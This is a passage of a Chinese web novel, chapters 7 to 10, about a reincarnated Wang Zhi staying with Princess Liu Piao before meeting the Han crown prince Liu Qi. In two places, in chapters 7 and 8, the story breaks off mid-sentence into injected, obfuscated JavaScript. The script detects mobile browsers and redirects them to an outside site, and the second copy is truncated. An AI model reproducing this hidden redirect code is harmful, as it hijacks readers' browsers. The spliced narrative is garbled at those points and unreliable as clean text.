《汉景故事》 7. 第 7 章 刘嫖刚进厢房,就听见铮铮一声,王娡缓缓停下了抚琴的动作,顺着动静循声望来,然后对她微微一笑,起身行礼。 “起吧。”刘嫖有些惊喜地将王娡顺手扶起来,“你还会弹琴?” 王娡很实诚地摇摇头:“不是很会——本来就没有认真学过。后来更是手生厉害。” 她上辈子的教育氛围竞争强度很高,家长总不可避免想要给小孩培养一个艺术方面的特长。但王娡对这些兴趣并不高,认为与其练琴还不如多看几本书。 她从小就聪明,学习成绩好,家长自然会纵容一点。不去培训班空出来的时间也只爱用来看书,在他们眼里不算是不务正业,反而是值得鼓励的爱好。所以没学多久,她就功成身退。 到了这一世,臧儿也想过培养一些女儿这些方面的特长:她主要是不甘与愧疚,觉得女儿本该拥有比现在更好的一切。但王家家境放在那里,只能是半途而废。 她嫁给金王孙后,也想过要不要再捡回来一些这方面的才艺。但后来忙于打理家业,搞事业线搞得实在有点上头,没玩多久就又抛在脑后了。 还是等王娡到了刘嫖的长公主府上,她才又想起来这项屡屡被她抛弃的手艺。 * 刘嫖常年蓄养着一批善于歌舞音乐的伎人乐师,既是为了她自己宴饮取乐方便,也是用来教导培训她常在民间找寻来的美人。 这些美人到了最后,除了一些被她自留或者送到母后身边解闷的体己人,往往不是被刘嫖在太子上门做客的时候推出去,她弟看上哪个就带走哪个,就是被刘嫖打包准备送去给梁王——嗯,还是她弟。 刘启眼光高且专一,看人挑剔到有些刻薄,每次都是挑挑拣拣半天,到最后却可能一个都没看上。刘嫖保持这个习惯也有五六年了,也就给他送过去两个。 刘嫖也能理解:太子行事还是要多顾及影响的。虽然阿姊给弟弟搜罗美女,说出来不是很体面。但太子算下来也就五六年里新纳了两个姬妾,据说还都帮皇家开枝散叶了。那不论是太子家臣还是外臣,也就都指摘不出什么错误。 给梁王打包一堆的理由也相当简单粗暴:刘武人又不在长安,哪里能像刘启一样当面挑挑拣拣?他就算不想自己收用了,梁王在封地也需要社交。排练一支专门用来宴饮歌舞的伎艺,尽管不符合今上推崇简朴的风气,却也绝不出格。 朝廷现在虽然明面上依旧坚持诸侯王牧民的论调,也希望诸侯王们各个能够安分恭敬守礼,好好治理封地。但实际上嘛—— 诸侯王偷偷摸摸干点反动事情你跟中央打小报告,陛下绝对大为支持。你说诸侯王借着治理的名号收买民心,可能有谋反风险,朝廷也会心怀疑虑。你说他们宫妃众多爱好歌舞宴饮——睁一只眼闭一只眼算了吧。 一个诸侯王喜欢美色,总比他喜欢造反好吧? 梁王又不是没钱,养不起这些美人:窦漪房向来疼爱这个不到十岁就需要远离父母前往封地就国,偏偏任职之路还一波三折,从代地改到淮阳再到梁地,和身为太子的长兄比起来难免有点心酸的幼子,各种赏赐和私库简直年年如流水一般朝刘武倾泻而去。梁王缺什么都不可能缺钱。 而刘嫖养这些美人也养得理直气壮:她甚至比刘武更让人放心——她连诸侯王都不是!就是一个平平无奇的馆陶长公主而已。凭什么还要来蛐蛐她一个公主爱养美人爱看歌舞爱好宴饮呢? 至于给母后弟弟们也分别送点?那都是她的拳拳孝悌之心啊!她没给她父皇送,那都是因为深知她父皇脾性肯定不会收,甚至说不定还会很不赞同地看她,又不是特意漏了她父皇不孝顺。 馆陶长公主上有皇帝皇后的溺爱,中有夫君太子的纵容,下有钱财权力的支撑,打着孝悌的名义,依仗着国朝长公主的身份,就没有哪个大臣敢真的不长眼弹劾她什么的,于是成功养成了她那张扬的性格。 所以田家的牵线搭桥比王娡想得还要顺利。因为这位身为天潢贵胄的馆陶长公主堪称百无禁忌,只要确定送过来的人不是蓄意行刺的杀手,她完全不在乎对面的出身与来历。倒让本以为自己会认识一位精打细算、心细如发的长公主的王娡有些措手不及。 不过倒也不能就此断定,说刘嫖是个被宠爱得有些天真不知忧愁的性子——窦漪房虽然现在依旧是皇后之尊,长男封太子,幼子诸侯王,独女长公主,看起来风光无二,但其实她最初因病失明的时候,前朝后宫也不是没有过暗流涌动。 那些最困难最艰辛的岁月里,刘武远在封国,远水解不了近渴;刘启自顾不暇忙得吓人,又已经加冠搬出了未央宫;帝王的宠爱暮去朝来,随着颜色而故。全靠刘嫖的陪伴和安抚,窦漪房才最终挺了过来。 而她之所以对这些美人态度如此无所谓——王娡观察了几天,最终勉强就目前情况得出了一个短暂评价: 因为她们这些人并不值得刘嫖多费心思。 刘嫖的骄傲理所当然。 她是帝后的嫡长女,是皇帝的独女,是太子和梁王的同母阿姊,享尽了家里人的宠爱与关怀。她的尊贵与生俱来,只要大汉没有在她父皇或者弟弟的手上走向灭亡,刘嫖这一辈子就不该有苦头吃。 而上天或许确实是偏爱她的。她已经有了这样的家世,它竟还并不吝啬于让她的父弟都能称得上一代明君,确保她一生长乐未央。 所以刘嫖爱给弟弟们送美人,却只是将这作为一种爱好,一种她用来关心家人的方式。 生性慷慨的馆陶长公主自己享受到了美人歌舞的快乐,于是便觉得不应当一人独占这种乐趣,而应该与她可怜的被大臣盯得死死的太子弟弟,和更可怜的远在封地不能享受长安繁华的梁王弟弟一同分享。 什么?你说太子和梁王怎么可能会真的混得很可怜? ——有种可怜叫你阿姊觉得你太可怜了。 刘嫖的性格完全出乎王娡的意料,也着实打乱了她的计划。可是她却并不厌烦这样的变数,因为这样的刘嫖远比史书上记载的那个工于心计的形象更加鲜活,她喜欢这样的馆陶长公主。 这样的差异同时也及时提醒了王娡:她差点就犯下先入为主的错误。 纵然她有着上一辈子的记忆,对这段时期的历史有着大概的了解。可是那些说到底是从史书上得来的东西,可以作为参考,却并不能真正取代她个人的观察与判断。 史书毕竟也是人所编纂的,而只要其中掺杂了个人的成分,那就必须仔细斟酌那人的立场与身份——这本该是王娡上辈子学历史的时候最先学会的一件事。 材料说什么,你又得信,又不能全信。他人转述的一件事,你要指出其中有转述人的私心;自己表明心迹的一件事,你要怀疑其中是否有自我粉饰;后朝追述前朝的记载,你要质疑相差甚远导致可信度的高低;当朝人记载当代的杂谈,你要疑问距离太近是否存在一叶障目…… 条条材料都可靠,条条材料又都不可靠。兰克学派和后现代主义史学家就史学的客观性问题二十世纪以来开战已久。王娡只是一个普普通通的学术搬砖劳工,在这样的重大理论问题上如履薄冰,只表示自己是唯物史观坚定继承人。 结果一朝胎穿,记忆错乱,谁知竟然险些行差踏错。若叫上辈子师友看过,怕不是得贻笑大方。 可王娡心态好:她此前凭自己心意随手布置了几番闲棋,若是局势如她所料,那自然转为杀招,满盘皆活;如若不然,也不过是几枚闲棋,碍不了大事。 她现在也只是很单纯地欣赏馆陶长公主的这份性情,所以坦荡表达出来,想和对方多亲近亲近而已。 当然,她也没料到,最后反而是有心栽花花不开,无心插柳柳成荫。 刘嫖当然对这些美人态度平平,可从另一方面来看,她也是对这些人一视同仁。因为不管她们的出身为何,难道天底下还能有比她更尊贵的出身吗? 既然平等地不如她,她也就把所有人都平等着看。 而王娡的落落大方和心细体贴,和其他人一比,就足够叫刘嫖喜欢上了。 * 刘嫖听完王娡这话,脸上的笑容就多了几分古怪。她秀眉弯弯,一双明眸里满是揶揄之色:“咳……没关系。” “反正太子他十有八九听不出来什么好赖——只要你不走音就行哈哈哈哈哈哈。” 馆陶长公主到了最后还是没忍住自己发自内心的嘲笑之情,一手抵在王娡的肩上,一手摁着自己的小腹,字面意义上的捧腹大笑起来,甚至到最后乐得都呛到咳嗽起来。 王娡也是被她这幅豪放样一瞬惊到,利落地起身,一边帮刘嫖拍着背,一边迟疑地眨了眨眼:“……太子听不出来?” “——是啊,绝对完全听不出来。” 刘嫖咳了好半天,才终于缓过气来,但脸上的笑意是怎么也止不住的。 “他,你别看他长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14431500|153876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一张看起来很不好招惹的脸。实际上,实际上要我说,他才是我们姊弟几个里头最好欺负的那个!” “你有没有听说过,他现在那位晁家令?当年他还不是太子家令的时候,给我们父皇上过一份谏书,在里头说我父皇对我那位好弟弟的教育有着很严重的问题——” 刘嫖又咳了咳,特意压低了嗓子,显得低沉而严肃,好像是在刻意模仿那位历史上同样大名鼎鼎的未来景帝宠臣晁错的音色: “窃观上世之君,不能奉其宗庙而劫杀于其臣者,皆不知术数者也。皇太子所读书多矣,而未深知术数者,不问书说也……” “咳,不对。这段是骂我弟当年虽然读了很多书,但是纯在读书,压根没搞明白书中真意权谋术数的。额,应该是这一段来着!” 刘嫖满脸是幸灾乐祸似的兴奋和笑意,看得王娡忍不住眉头一阵乱跳,内心缓缓升起一个微妙的念头: 看你弟被骂真的这么开心吗,长公主? 晁错当太子家令都多久了——那份谏书到底是多少年前的事情了?! 您怎么这么记忆犹新,还能脱口背诵的啊! 而刘嫖一脸坏笑,很显然是完全不打算放过自家太子弟弟: “臣窃观皇太子材智高奇,驭射伎艺过人绝远,然于术数未有所守者,以陛下为心也——” 臣私以为太子虽然才智高超颇为不俗,骑马射箭的技艺娴熟地远超常人,然而在术数方面却没有什么成就,这是因为他心里想着陛下,万事以陛下为中心。 “窃愿陛下幸择圣人之术可用今世者,以赐皇太子,因时使太子陈明于前——” 希望陛下可以选择能够运用于当世的圣人之术,把它赐给太子好好学习,让太子可以适时地在您面前阐述明白。 王娡:…… 她大概能够理解刘嫖是想要嘲笑他弟被指责为“以陛下为心也”,万事以皇帝为中心,对于一个业已成年的青年、尤其还是太子来说,难免会显得——有点狗腿。 但考虑到古代君臣用词向来的肉麻程度,并且好歹这句话又不是刘启自己说的,王娡其实接受程度相当良好。 就算真的有这种事情:都说了晁错当太子家令都是多久之前的事了。太子当年才多大,对皇帝亲爹满心孝顺甚至怀有依赖感,难道是一件很丢人的事吗?难道会对他的地位有什么不利吗? 王娡甚至觉得刘启这种做法有点聪明:皇帝与太子,既是君臣也是父子,这其中相处尺度的把握极为微妙。 对汉文帝这种虽然绝对称得上厚黑,但是同样性情温和,控制欲不是特别强烈的皇帝来说,他固然会把太子的教育看得很重——可估计也很喜欢儿子还把他当爹来崇拜。 王娡主要是被第二句话反应出来的意思给震撼住的: 定、定期要被他爹当面抽问回答帝王心术? 你们老刘家教育这么狂野的吗! 而刘嫖重又细细品味了一番方才那份谏书,最后才满脸遗憾与复杂地拉住王娡的手,缓缓道出最后几句: “所以啊,你进了太子宫以后,平日里跟他聊百家学说,他能很高兴地跟你聊。你主动要求陪他去骑马射箭,想看他狩猎时候的英姿,他绝对不会拒绝。” “你让他分辨音乐的好坏?或者和他聊聊什么辞赋?想和他玩点文艺的情调?” “呵,”刘嫖抬头望天,一张本就眉眼骄傲的脸上,此刻仿佛更多了一份天下无敌般的孤寂: “虽然我父皇自己会一些乐器陶冶情操,但他为了整肃民风,现在都不怎么听音乐了——那就别指望我弟在他的教育下能听得明白了。” “关键他确实也没什么天赋。能听出来弹没弹错,那都是因为他家太傅家令舍人等等一系列人拼命努力过了。” 这个家里,最懂辞赋的是不在长安的梁王刘武;而最懂音乐的,只有她馆陶长公主! 刘嫖长吁短叹,很是感叹了一番。最后看了看听着她这一连串话说下来,眼神都有些愣愣泛空的王娡,当即颇为怜爱地摸了摸她的脸: “嗯,不过我都说了没事的。” “就你生得这幅美貌。信我,我以他亲姊身份跟你发誓。他自见你第一眼开始,脑子里就会下意识盘算你和他未来的孩子该叫什么名字了。” “他打小就喜欢长你这样的,审美绝对八百年都不会变。” 刘嫖一派云淡风轻的笃定。 8. 第 8 章 王娡、王娡一时之间竟然都不知道应该怎样接话。 虽然她上一辈子就知道他们老刘家风流多情,玩的很花——但刘嫖这几句话实在也太理不糙话糙了! 她总不能说还好她生得肖母,而她母亲又是一个如非祖父狂悖、上门求娶之人绝对多如过江之鲫的大美人,所以生了一张符合太子审美的脸吧? 那多掉价啊。王娡发自内心地嫌弃这种狗腿到没边的说法。相貌都是爹娘给自己的,哪有专门为什么人而生的说法。 刘嫖也不强迫她给出什么像样的回应,只是笑意盈盈地拎着裙摆,在她身旁同样跪坐下来。 “好啦,前面的话,你不敢听,那就当我没说。你也别那样欲言又止地看我,我刚才是有些促狭,但就算太子在场听见了,他也不会生气的。” 王娡听到这,心下一动,试探性地发问:“这么说来,太子是个宽厚的性子?” “来我府上也算有好多天了,终于舍得问我太子相关的事了?” 刘嫖哼了一声,状似不满地用眼神嗔她:“那几个嘴上不说,但同样瞧上我那好弟弟的美人,明里暗里都不知道从我这旁敲侧击好几轮了。你这个早就跟我大大方方说想要见太子的,竟然到了今天才想起来问!” “我都想着,你要是再不问。我就干脆等到时候把你留下陪在身边,或者送到我母后那里陪她解闷去了!” * 刘嫖这话是与王娡开玩笑,但多少也带了点真意。她是真没想通王娡这些天来,为什么能够那么安然。 那些自身不很情愿、却因为种种原因而投进长公主府上的美人会向她打探太子和梁王。她们害怕对方是个样貌不好或者性情粗暴的人,哪怕是为人姬妾,她们也期待着能够被托付到一个良人手中。 那些心有主意、想要通过这种方式得到宠幸的美人会向她打探太子和梁王。她们想要知道二人的喜好与偏向,想要因此讨得两人的欢心,好博出一场泼天富贵。 甚至那些两边都不是很沾,懵里懵懂的,什么都没有想好,只是因为知道长公主府上招长相漂亮的美人为她歌舞就投入府上的美人,出于对天家贵胄们的好奇,也会偷摸着想跟她打探情报。 刘嫖将种种纷扰都看在眼里,在心里根据这些反应划分她们的去处。 但她愣是没琢磨明白王娡。 王娡是有主意、有野心的那批人,她甚至可以说是这些人当中最大胆的那个。 这些美人在她府上也会交流情报。她们很快就会知道,说是长公主爱给太子送美女,但这五六年来,太子总共也就在长公主府上带走过两个人。所以她们固然第一想法肯定是能够被太子带走,却也从没有放弃过探听梁王的喜好,做好了两手准备。 只有王娡,早早地就同她表露过自己此番就是为太子前来的想法,一点没问过梁王的事情。 好。目标如此专一,尽管听起来有些骄傲,可刘嫖看了王娡那张脸,却也能理解甚至支持。 王娡长得就是一副刘启素来偏好的明艳长相,长公主见她第一眼,就笃定自己此番又要因为给太子送美人被朝臣私下蛐蛐了。 更别提她后来照例派人去打探王娡的来历,也听回报的人说了那个相面的谶言。 祖传迷信的馆陶长公主相当欣慰王娡的选择,并下定决心,此番就算刘启审美劈叉了不打算带王娡走,她也一定得把美人强行塞进她弟后宫。 这种都有相面谶言钦定了的大事,她看刘启敢不敢不答应。 ——不信她就转头跟父皇讲,她父皇肯定信。 但王娡偏偏从来不跟刘嫖打听哪怕一点和太子相关的事情! 她在刘嫖府上细细观察了她许久,不知得出了什么结论之后,竟然坦坦荡荡地主动开始接近交好她。 王娡是田家和刘嫖提前说好才暂住长公主府上的身份,准确来说是女客而非她蓄养的伶人。因为那个谶言的存在,刘嫖也对她颇为好奇。所以她接住了王娡抛来的示好。 然后这些天里,王娡陪她游园赏宴,不论是美景还是美人都愿意一同欣赏,从不会冒出只言片语劝阻她收心自持的扫兴话;同她聊天解闷,刘嫖说的每件事情都能耐心聆听给予回应,甚至还有个人见解与疑问,完全没有敷衍之意;和她交流见闻,意外地谈吐不凡见识不俗,时常叫长公主都耳目一新,恨不得击节赞叹。 但凡王娡是个男人,刘嫖绝对会将他改为引荐给她父皇——这得是多好的郎官人选啊!去年那位不幸英才早逝,让她弟私下都为之难过好久的贾生昔日年纪轻轻担任博士时,恐怕也就是这样的表现了吧! 可惜王娡是女儿身,更可惜这世道还没宽松到允许女子入仕为外朝官员。刘嫖只能一边为王娡叹息,一边手痒想主动给她弟写信喊人来——外朝女子很少有入仕的渠道,但后宫就不一样了啊。 刘嫖自己是靠着父母弟弟的身份才有资格对一些事情说得上话,自然很明白一个女人可以如何操控男人在眼下的局势里施展才干。她欣赏王娡,出于种种理由,当然要想办法给她一条通天之路。 但、再重复一遍,王娡就是不跟她问哪怕一点和刘启有关的事! 她连刘嫖的喜好都记得差不多了!上回两人一起吃饭,王娡看见侍从端上来一份刘嫖爱吃的菜,还特意调笑地问她,要不要把自己案上那一份也一并拿走。 长公主就这样半是快乐半是困惑地晕乎乎沉迷在温柔乡里,人生头一回发现自己太子弟弟那么多年来矢志不渝的审美竟然是如此的有品。性子体贴的明艳美人,她看起来能漂亮得一颦一笑皆可入画,但对你的各种事情偏偏又颇为关怀,便更有一种双重的心理上的愉悦感。 难怪人能当太子呢。你看看她弟这些年来吃得有多好啊! 王娡要是再不问刘启。刘嫖真害怕自己这样下去迟早色令智昏,到头来舍不得人了。 * 王娡对于刘嫖的调侃竟然哑口无言:她总不能说,因为她此前早在史书上了解过了这位汉景帝的一些所作所为,又从其他美人口中探听过情报,对对方本就不能说是毫无了解?又或者更丢人地说,她这些天光忙着和刘嫖交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刘嫖特意去实地考察过:苑中有整整六所堂室,每个都是广庑高轩,里头的各种屏风帏褥还都一水的华美漂亮。可以说给足了太子脸面,满满都是皇帝一片怜子之心。看得馆陶长公主又是震惊又是吃醋,恨不得当即冲进宫里去跟父皇母后大肆撒娇一番和她弟争宠。 也不能怪她心眼小吧?她能理解为太子着想算国事,给自己修露台算私欲,所以她父皇花钱的态度截然不同——可谁叫她父皇的性格就是那样,这件事就是罕见到她那天想抬头看一看太阳是不是从西边升起来的! 而她父皇如此尽心尽力培养她弟,她弟其实也是个相当优秀的太子。刘嫖有时候会故意逗他,当面挑一挑刘启身上无伤大雅的小毛病,刘启每次也都包容了。 有时被她指出一些他自己都没意识到,并且也觉得不是很好的错误时,不管实际上那错有多小,她弟还真的会反省,甚至和她道谢。 刘嫖平心而论,觉得抛开她身为阿姊的滤镜,当今太子也分明确实是个不错的储君:能文能武,气度不凡,从谏如流,心思敏锐,雄才大略,能屈能伸。 ……怎奈何吴王太子那件事实在闹得太大,当年简直堪称轰动长安。 所有人说起他来,第一反应都是: 那个因为吴王太子与他饮博时争道态度不恭,所以直接拎起博局就把对面砸死杀了的太子殿下? ——他脾气一定很不好吧! 9. 第 9 章 王娡一看刘嫖这副模样,就猜到了七八分缘由,一时也是有些好笑。 看来这样的事情,不论古今,都属于是人人津津乐道的奇闻。也不知道馆陶长公主每次被人问到此事的时候,会不会脑海中闪过干脆不要这个傻弟弟的念头。 “当年那事,那事——嗐!” 刘嫖每次讲每次都叹气。但偏偏此事如果真要如实道来,那真实原因着实有伤天子雅德。她虽然因为年长得知一二,却也明白此事严密,连梁王都没透露过。 只能怪太子当年年纪太小,没什么心眼,偏偏事关重大又不能和属官商议,于是草拟出那么一个粗率计划。执行的时候,又因为紧张下手重了几分。那熟习六艺锻炼出来的力气,就那样让吴王太子匆匆丧了性命。 不。刘嫖严肃地更正了原因。怎么能怪她弟武艺出众太过优秀呢?分明是那吴王太子刘贤自己身体羸弱,竟然还抗不下一个十二岁小孩的一击。 刘贤可比刘启大了快十岁。太子当年一个才十二岁的小孩,紧张到多用了点力气,不是很合理吗?她弟本来也只是想把人砸晕砸伤,好有借口把刘贤留在京师而已。被弄死难道不应该怪刘贤自己太弱吗? 窦漪房护短,连带着几个孩子都随了她的性子。刘嫖于是理直气壮偏袒自家弟弟,深觉刘启不应该被人时时刻刻惦记着这件事。 “太子当年年少,怎么能用十年前的旧事来判断现在的人呢?” 刘嫖委婉带过这句,拉着王娡的手,便将话头转向其他方向:“你不要因为那样的传言,上来就有些怕他。他其实性子一半随了父皇,一半随了母后。” 一半随了窦漪房的护短骄傲,一半随了刘恒的温和宽仁。 “只要你没犯什么错误,为人守正,太子他就不会跟你太计较什么细节。他不爱迁怒旁人,也不会随随便便对无辜之人撒气。有自己的主意、但也听得进人劝。对自己人更是喜欢护着——挑剔是真挑剔,可只要你入得了他眼,日子不难过的。” 刘嫖在王娡手上轻轻拍了拍。不像往日对其他美人有限度的对太子喜好的侧面透露,馆陶长公主此番却是颇为有些推心置腹地在和王娡分析刘启的为人。 “只是……”刘嫖顿了顿,矜贵地微微抬起下颔,示意王娡附耳过来。 “水满则溢,月盈则亏;物极必反,泰极生否。” 这是一场真正完全私密的耳语,刘嫖将声音放得极细极柔,与其说是在告诫王娡,不如说更像是喃喃自语。如若不是她们此时的距离,近到王娡甚至能够用皮肤感知到刘嫖的呼吸,她甚至怀疑这短短两句评语轻到几乎能够没入风中。 王娡垂下了眼帘,反复在唇齿间品味着这段对话,更是在品味刘嫖的态度: 馆陶长公主毫无疑问是偏爱着她身为太子的弟弟的。 她回护刘启的黑历史,欣赏太子身上的长处,骄傲于太子的优秀。所以她让王娡不要过于担忧和刘启的相处。 可是她也同样敏锐且不安地捕捉到了刘启性格里极尖锐峻刻的一部分——王娡反倒更熟悉的孝景皇帝的一面。 何为景帝? 布义行刚曰景,由义而济曰景。 是治世明君,是富国强兵,是“周云成康,汉言文景”,是务在养民,“移风易俗,黎民醇厚”。 也是为一子杀一子的冷酷,是下狱逼杀功臣名将的多疑,是动辄轻罪铲除诸侯封国的峻烈,是对血亲虽死不复相近的刻薄,是骗杀尊师积怨大臣不救酷吏的寡恩性窄。 是张释之劾其诣公车司马不下,等他登基后就忧虑到火速称病,“欲免去,惧大诛至;欲见,则未知何如”,惶惶不可终日;是卫绾拒其召饮以示对文帝赤诚无他心,等他登基后就小心谨慎“日以谨力”,被他戏问往昔何不来时,直接当场高呼“死罪”被吓到重病。 文景都是一代明君。可比起文帝陛下温和委婉,四两拨千斤的从容,景帝陛下的刚烈,让他对待大臣简直比一些酷吏还要“操群下如束湿”。 砸杀吴王太子是年纪尚小,是不知术数,是黑历史,是错题本。是不能因此以偏概全,否认刘启性格中宽厚仁爱乃至于阳光柔和的一面。当然也是天性使然,未来孝景皇帝生平动机的生动注脚。 “——我记下了。” 王娡反手覆在刘嫖的手背上,眉眼间一片温和的平静。 馆陶长公主会因为隐隐察觉往日里温和乖巧的弟弟本性竟然有着如此凉薄一面而心惊胆战,但她认识的本就是笔锋下刻薄寡恩的孝景皇帝,又怎么会萌生畏惧呢? 孝景皇帝是个大局重于私利、社稷高于旧情,功过、爱憎、赏罚都相当分明的明君。这对王娡来说就足够了。 她有才华,他有平台。 她要权力,他持赏罚。 她有所求,他有所需。 ——这还不能算是一种天作之合吗? 王娡忍不住嘴角轻轻上扬,露出一个满意的弧度。 * 共同的利益会成为捆缚住他们双手的红线,从此紧密相连,生死与共。 而王娡要让刘启心甘情愿握住她。 * “——大人。” 朝会结束。 被特意挽留下来的太子殿下很安静地跪坐在原地,耐心等到群臣都陆续离开了堂上,预备前往各自的官署办公之后,才起身行礼喊了一声皇帝,准备汇报自己这些天都跟着太傅学了些什么。 但刘恒很快出声制止了他进一步的动作。 端坐在帷幄中的孝文陛下语气是一贯的温和:“不用这么紧张——我留你下来不是为了检查你这段时间的课业。” 换句话说,只是皇帝陛下有点想他搬出未央宫的儿子了,所以把人留下来聊聊家常。 “在承明殿说话还是太严肃了。” 承明殿是皇帝与诸臣平日里议事的地方。虽然不像未央前殿一样具有重大的礼仪性作用,非帝王登基、入殡或是礼拜丞相外不可轻启,但就其政治含义来说,却是真正意义上“朝廷”的所在之地。 如果在这里谈话,那显然更像是皇帝对太子极具君臣色彩的谆谆教导,而非父亲对儿子日常生活的关怀了。 刘恒起身走出幄帐,含笑道: “到温室再说吧。” 温室殿才是皇帝日常生活起居、办公理政的地方。 刘启自然应声。只是回答完后,他下意识抿了抿唇,嘴角不是很开心地向下弯了点弧度: ——他就是猜到他父皇要这么说,所以才想抢先将谈话的场合控制在承明殿。 刘启很早就开始参与听政,对承明殿相较起来更为严肃庄重的氛围早已脱敏,完全不觉得在这种正式场合进行父子谈心有什么不便。 与之相反,他倒不是很喜欢在这样的季节,跟他父皇在温室省谈话。 温室、温室——顾名思义。 这是一个冬季会很暖和的宫殿。 当然。现在是夏季,温室很多保暖措施都不会布置,凌室的冰也 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“……休沐的时候遇见什么事了?”刘恒沉吟了片刻,做出了精准的判断:“晚上梦魇了?” 毕竟又不是太子刚刚搬出未央宫那会,还要担心是不是换了环境没适应过来。最简单能触发意外的就是休沐日的时候。 刘启眼观鼻、鼻观口、口观心,只精简地应了一声,没有过多解释。 ……要不然他还能怎么解释啊?真相说出来,真的不怕被他父皇用一言难尽看傻瓜小孩的眼光盯着吗? 刘恒意味深长地看着他这幅表现,嘴角很快就挂上了笑意。 但他也没有追究刘启短促的回答,更没有点破儿子很明显有事想瞒着他的态度,相当宽宏大量地揭过此事不谈,转而关心起孩子的日常生活来。 “最近身体还好吗?有记得让周仁帮你看着吗?他怎么说的。” 周仁,字文,是刘启现在的太子舍人。刘恒当初之所以点他侍奉太子左右,就是因为他是以医术被推荐到皇帝面前的。 为人又小心谨慎,阴重不泄,宁愿被人怀疑是以色——好吧,跟太子比起来好像颜色还不够出色,都从未对外界透露过自己还在帮太子看病,对太子的身体状况更是三缄其口,是个相当好的近臣苗子。 “挺好的。周舍人也说儿近日身体康健,没什么问题。” 刘启被刘恒那复杂的一眼看得有些头皮发麻,但万幸的是亲爹还是纵容了他的小心思。松了一口气,他很轻松平静地回答道。 自从他幺弟,现在定谥号为怀的前梁王刘揖,两年前因为坠马不幸没有留下后代就英年早逝,连带着折了一个自责的梁王太傅贾谊之后,刘恒对于剩下为数不多三个儿子——尤其是太子的身体就格外关心。 “嗯,那就好。你读书之余,还是不要松懈弓马。” 刘恒对这样的答案自然满意。 父子俩又就其他方面简短嘘寒问暖一阵,确保太子没有在他不注意的时候出了什么小毛病后,皇帝看看时间也差不多该处理政事了,便痛快地把亲儿子轰出门干活去。 看着太子规规矩矩跟他道别准备下堂出门的背影,刘恒冷不丁地开口: “下次休沐去看看你阿姊,省得晚上继续梦魇。” 年轻人啊,什么情绪都能写在脸上。 太子殿下的背影顿了顿,坚强地装作自己啥都没听到。 10. 第 10 章 丢人是真的很丢人,嘴硬也是真的在嘴硬。 但等到下一次休沐的时候,太子殿下还是身体很诚实地决定摆驾长公主府。 ……主要不仅他父皇这么交代过了,他阿姊都给他写信了诶。 尽管对于刘嫖信中颇为恋恋不舍,洋洋洒洒写了几大段的“忍痛割爱”,刘启还是有些踌躇: 他姊好像没有跟女人交往过密的嫌疑。 但她好像真情实感地特别喜欢那位她说要引荐给他的美人。 而他们父皇有和男人交往过密的行为。 他姊向来认为他的教育受他们父皇影响很大。 太子殿下抿着唇,目光迟疑地盯着长公主府的正门,罕见一脸凝重地犹豫了。 ……但他真的没想过和男人交往过密。 真的。 并不知道自己未来将喜提头衔“矗汉三直男”的孝景皇帝沉吟徘徊了一阵,最后还是一咬牙,义无反顾地走了进去。 ……别管他姊要给他推荐的美人是什么性别,反正长公主府上又不是没有正常美女! 他现在是真的需要一些其他刺激,来转移那天惊鸿一眼偏偏还绝对得不到的糟心感。 * 长公主命人将幄帐放下。 层层薄纱轻飘飘地在空中展开,遮掩住幕后佳人明艳的容颜。可它轻薄的质地本就甚是透光,于是又朦朦胧胧勾勒出玲珑的身形。半遮半掩之间,尽是一派欲语还休的风情。 刘嫖细细为王娡点好绛唇,松开手,再端详她的脸庞,一时竟也看得有些出神。恍然半晌,才自王娡的浅笑眸中回神,喟然发出一声长叹: “——幸好今日太子终于来了,我还不至于彻底晕过头去。” 馆陶长公主起身,伸手再又颇为怜爱地抚了抚佳人的面庞,神情却是极温柔而高兴的。 “愿女君今后——长乐未央。” 她柔声祝愿着。长乐未央本是众人生活中常用的祝贺,可随着大汉兴起,两宫落成,长乐未央的名号就又多出一重指代,让长公主的这句祝福更显意蕴悠长。 “妾愿长公主今后,同样长乐未央。” 王娡抬首,盈盈一笑。 而谒者的通报声也终于传至。 ——太子到了。 王娡侧身朝向门外,等待着她登天的青云阶一步步朝她而来。 * 太子未至,没有伎人会提前奏乐。 太子已至,更是众人都屏息以待。 极致的宁静中,王娡听到了一道节奏稳定的脚步声。 ——、——、 每一次的落地都轻到几乎只有微弱的闷声,像是来人有意收敛着自己的跫音。可他行步的速度却并不慢,有如龙行虎步一般相当矫健。 王娡很快听到锡铃清脆,那是有人撩开坠着铃器的帷帘,随后堂前阻隔内外的屏风下投下了一片阴影。 也许是骑马而来,又或许是未来的孝景皇帝平日里早就因练习骑射而习惯胡服。哪怕是在夏季,太子依旧穿了一双黑色作底的锦靴。 长公主府上云龙纹漆的屏风背面彩绘的流云舞龙精致绚丽,却也没压过太子靴面上那一截金银色火焰纹的庄重华贵。 天下最顶尖的匠人们将金银细细研磨成粉末,调制成泥浆,就只为了那火焰纹路流畅优美的银白色曲线可以有着金属的光泽,能在光照下如同真正的火焰一般流光溢彩;只为了那叠山纹排布整齐的赤金色圆点可以有着夺目的靓丽,能在流光的衬托下依旧强压出一份如真实火焰外焰那般的红色。 ……太漂亮了。 这甚至是如今西汉皇室已经称得上相当崇尚简朴后的成果。 王娡舍不得眨眼。 她有一个物质上来说远比如今丰富时代的记忆,所以她可以在很多物质性的享受上从容不迫、坦然受之。 可那份艺术性是贯通古今的华美,可那样精湛的工艺是不论古今的昂贵。 ——她欣赏的是一个朝代权力的巅峰。 也许是因为已经登堂,稍微停留在屏风外,似乎整理了一会自己衣冠的太子重新迈步的时候,就显得雍容雅步、行止从容起来。 他绕开遮挡视线的屏风,施施然踏入众人视线当中。 黑底火焰纹的锦靴华贵矜重,极显身份的深黑深衣庄穆严肃,暗红色的绶带在腰间系紧了玉环和佩剑,乌黑的长发被细细收拢进高祖所制的漆纚长冠。 太子几乎一身都是极正的黑,极深的红,换作常人总不免会显得扮相老气或沉闷。 